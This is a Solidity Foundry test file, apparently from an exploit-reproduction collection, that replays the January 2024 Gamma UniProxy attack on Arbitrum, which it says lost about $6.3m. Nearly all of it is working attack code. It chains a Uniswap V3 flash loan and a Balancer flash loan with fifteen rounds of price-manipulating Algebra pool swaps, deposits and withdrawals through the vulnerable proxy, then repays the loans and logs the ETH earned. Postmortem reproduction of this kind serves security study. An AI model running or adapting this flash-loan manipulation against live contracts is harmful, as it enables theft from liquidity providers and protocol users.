src/test/2024-01/Gamma_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.22;
3 
4import "forge-std/Test.sol";
5 
6// @KeyInfo - Total Lost : ~$6.3m
7// Attacker : 0x5351536145610aa448a8bf85ba97c71caf31909c
8// Attack Contract : 0xfd42cba85f6567fef32bab24179de21b9851b63e
9// Vulnerable Contract : 0x1F1Ca4e8236CD13032653391dB7e9544a6ad123E
10// Attack Tx : https://arbiscan.io/tx/0x025cf2858723369d606ee3abbc4ec01eab064a97cc9ec578bf91c6908679be75
11 
12// @Info
13// Vulnerable Contract Code : https://arbiscan.io/address/0x1F1Ca4e8236CD13032653391dB7e9544a6ad123E#code
14 
15// @Analysis
16// Twitter alert by Officer's Notes : https://twitter.com/officer_cia/status/1742772207997050899
17// Twitter alert by shouc / BlockSec: https://twitter.com/shoucccc/status/1742765618984829326
18 
19contract ContractTest is Test {
20    receive() external payable {}
21 
22    address constant uniproxy = 0x1F1Ca4e8236CD13032653391dB7e9544a6ad123E;
23    address constant algebra_pool = 0x3AB5DD69950a948c55D1FBFb7500BF92B4Bd4C48;
24    address constant usdt_usdce_pool = 0x61A7b3dae70D943C6f2eA9ba4FfD2fEcc6AF15E4;
25    address constant weth_usdt_pool = 0x641C00A822e8b671738d32a431a4Fb6074E5c79d;
26    address constant weth = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
27    address constant balancer = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
28    address constant weth_usdce_pool = 0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443;
29    address constant usdt = 0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9;
30    address constant usdce = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;
31 
32    function setUp() public {
33        vm.createSelectFork("arbitrum", 166_873_291);
34    }
35 
36    function testExploit() public {
37        uint256 initial_balance = address(this).balance;
38        I(usdt).approve(usdt_usdce_pool, type(uint256).max);
39        I(usdce).approve(usdt_usdce_pool, type(uint256).max);
40        I(weth_usdt_pool).flash(address(this), 0, 3_000_000_000_000, "");
41 
42        I(weth_usdce_pool).swap(
43            address(this),
44            false,
45            int256(I(usdce).balanceOf(address(this))),
46            4_526_582_309_038_291_990_822_582, // the price limit of the swap
47            ""
48        );
49 
50        // received weth and withdraw
51        I(weth).withdraw(I(weth).balanceOf(address(this)));
52 
53        console.log("Earned %s ETH", (address(this).balance - initial_balance) / 1e18);
54    }
55 
56    function calculatePrice() internal returns (uint160) {
57        I.GlobalState memory gs = I(algebra_pool).globalState();
58        return (gs.price * 85_572) / 100_000;
59    }
60 
61    function uniswapV3FlashCallback(uint256 v1, uint256 v2, bytes memory) public {
62        address[] memory arr01 = new address[](1);
63        arr01[0] = usdce;
64        uint256[] memory arr02 = new uint256[](1);
65        arr02[0] = 2_000_000_000_000;
66        I(balancer).flashLoan(address(this), arr01, arr02, "x");
67        uint256 v2 = I(usdt).balanceOf(address(this)) - 3_001_500_000_000;
68        I(algebra_pool).swap(address(this), true, 473_259_664_738, calculatePrice(), "");
69 
70        // repay flash loan
71        I(usdt).transfer(weth_usdt_pool, 3_001_500_000_000);
72    }
73 
74    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes memory) public {
75        I(usdce).transfer(weth_usdce_pool, uint256(amount1Delta));
76    }
77 
78    function algebraSwapCallback(int256 amount0Delta, int256 amount1Delta, bytes memory) public {
79        if (amount0Delta > 0) {
80            I(usdt).transfer(algebra_pool, uint256(amount0Delta));
81        } else {
82            I(usdce).transfer(algebra_pool, uint256(amount1Delta));
83        }
84    }
85 
86    function receiveFlashLoan(
87        address[] memory,
88        uint256[] memory amounts,
89        uint256[] memory feeAmounts,
90        bytes memory
91    ) public {
92        uint256[4] memory empty_arr;
93        empty_arr[0] = 0;
94        empty_arr[1] = 0;
95        empty_arr[2] = 0;
96        empty_arr[3] = 0;
97 
98        for (uint256 i = 0; i < 15; i++) {
99            I(algebra_pool).swap(address(this), true, int256(I(usdt).balanceOf(address(this))), calculatePrice(), "");
100 
101            uint256 val = I(uniproxy).deposit(1, 300_000_000_000, address(this), usdt_usdce_pool, empty_arr);
102 
103            I(usdt_usdce_pool).withdraw(val, address(this), address(this), empty_arr);
104 
105            I(algebra_pool).swap(
106                address(this),
107                false,
108                int256(I(usdce).balanceOf(address(this))),
109                83_949_998_135_706_271_822_084_553_181,
110                ""
111            );
112            I(uniproxy).deposit(1, 1_000_000, address(this), usdt_usdce_pool, empty_arr);
113        }
114        I(algebra_pool).swap(
115            address(this), true, -int256(amounts[0] - I(usdce).balanceOf(address(this))), calculatePrice(), ""
116        );
117 
118        I(usdce).transfer(balancer, amounts[0]);
119    }
120}
121 
122interface I {
123    struct GlobalState {
124        uint160 price; // The square root of the current price in Q64.96 format
125        int24 tick; // The current tick
126        uint16 feeZto; // The current fee for ZtO swap in hundredths of a bip, i.e. 1e-6
127        uint16 feeOtz; // The current fee for OtZ swap in hundredths of a bip, i.e. 1e-6
128        uint16 timepointIndex; // The index of the last written timepoint
129        uint8 communityFeeToken0; // The community fee represented as a percent of all collected fee in thousandths (1e-3)
130        uint8 communityFeeToken1;
131        bool unlocked; // True if the contract is unlocked, otherwise - false
132    }
133 
134    function globalState() external view returns (GlobalState memory);
135 
136    function approve(address, uint256) external payable returns (uint256);
137 
138    function flash(address, uint256, uint256, bytes memory) external payable;
139 
140    function balanceOf(
141        address
142    ) external payable returns (uint256);
143 
144    function flashLoan(address, address[] memory, uint256[] memory, bytes memory) external payable;
145 
146    function deposit(uint256, uint256, address, address, uint256[4] memory) external payable returns (uint256);
147 
148    function transfer(address, uint256) external payable returns (uint256);
149 
150    function withdraw(uint256, address, address, uint256[4] memory) external payable;
151 
152    function withdraw(
153        uint256
154    ) external payable;
155 
156    function swap(address, bool, int256, uint160, bytes memory) external payable;
157}